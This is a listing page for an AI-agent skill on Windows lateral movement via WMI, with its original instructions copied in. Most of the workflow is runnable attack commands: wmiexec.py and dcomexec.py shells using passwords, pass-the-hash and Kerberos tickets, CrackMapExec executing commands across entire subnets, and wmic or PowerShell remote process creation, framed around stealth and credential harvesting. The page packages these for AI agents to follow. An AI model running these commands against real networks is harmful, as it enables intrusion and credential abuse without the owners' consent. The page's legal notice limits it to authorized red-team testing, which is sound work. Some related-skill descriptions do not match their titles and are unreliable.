performing-lateral-movement-with-wmiexec
Helps your agent move through Windows networks using WMI to execute commands remotely, useful in security testing.
What it does
This tool lets you run commands on other computers in a network using WMI, which is a way Windows manages things remotely. It's useful for testing network security.
When to use it
- ✓When testing network security with permission.
- ✓To check if security defenses are working.
- ✓When investigating a security incident.
Example of what to ask your AI
“Run the command 'ipconfig' on computer 10.10.10.50 using administrator credentials.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
It uses a Windows feature called WMI to send commands to other computers. Instead of installing new software, it uses existing Windows commands, making it harder to detect.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-lateral-movement-with-wmiexecOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-lateral-movement-with-wmiexec/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Performing Lateral Movement with WMIExec
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.
When to Use
- When conducting security assessments that involve performing lateral movement with wmiexec
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Execute remote commands on Windows targets using WMI-based techniques
- Establish semi-interactive shells via Impacket wmiexec.py
- Perform lateral movement with Pass-the-Hash using WMI
- Use CrackMapExec for multi-target WMI command execution
- Execute native PowerShell WMI commands for fileless lateral movement
- Chain WMI with credential harvesting for network-wide access
MITRE ATT&CK Mapping
- T1047 - Windows Management Instrumentation
- T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1570 - Lateral Tool Transfer
Workflow
Phase 1: WMIExec with Impacket
- Execute a semi-interactive shell with credentials:
# With cleartext password wmiexec.py domain.local/admin:'Password123'@10.10.10.50 # With NT hash (Pass-the-Hash) wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50 # With Kerberos ticket export KRB5CCNAME=admin.ccache wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local # Execute specific command (non-interactive) wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all" - Execute commands without output file (stealthier using DCOM):
# Using dcomexec.py as alternative (MMC20.Application DCOM object) dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50 # Using ShellWindows DCOM object dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
Phase 2: CrackMapExec Multi-Target Execution
- Execute commands across multiple targets:
# Execute single command on subnet crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami" # Execute with hash crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig" # Execute PowerShell command crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process" # Check local admin access via WMI crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
Phase 3: Native WMI Commands (Windows)
- Execute remote commands using built-in Windows WMI tools:
# Using wmic.exe (deprecated but still available) wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt" # Using PowerShell Invoke-WmiMethod $cred = Get-Credential Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt" # Using CIM sessions (modern replacement for WMI) $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
…
FAQ
What is WMI?
WMI stands for Windows Management Instrumentation. It's a tool that system administrators use to manage Windows computers remotely.
Why use WMI for lateral movement?
Because WMI is already built into Windows and doesn't require installing new services, making it stealthier and less likely to trigger security alerts.
What is 'lateral movement'?
It's the term used in security for an attacker moving from one computer to another within a network after gaining initial access to one of them.
Details
Original description by the author
Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.
Popularity
- GitHub stars
- 35k
- Ranking position
- #6093
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
More skills from this repository
abusing-dpapi-for-credential-access
Gives your AI agent ready-made instructions for a specific task, so it does it better and faster.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Teaches your AI agent to write clear, well-structured text.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Helps your agent prepare an environment for CMMC Level 2 compliance. It implements security requirements and manages necessary documentation.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Helps your agent create exact copies of hard drives. This is useful for ensuring no information is lost or altered during investigations.
mukul975/Anthropic-Cybersecurity-Skills
Similar skills
benchmark-optimization-loop
Has your agent improve something's speed in a measured way. It tests multiple versions and chooses the fastest one that still works correctly.
affaan-m/ECC
change-impact
Helps your agent analyze the impact of code changes before making them. It compares the planned vs. actual results afterward, covering paths, data, tests, and documentation. Useful for risky or system-wide changes.
affaan-m/ECC
click-path-audit
Lets your agent trace all user buttons and interactions to find bugs. It finds issues where functions seem to work alone but fail together. Useful when bugs persist even after debugging.
affaan-m/ECC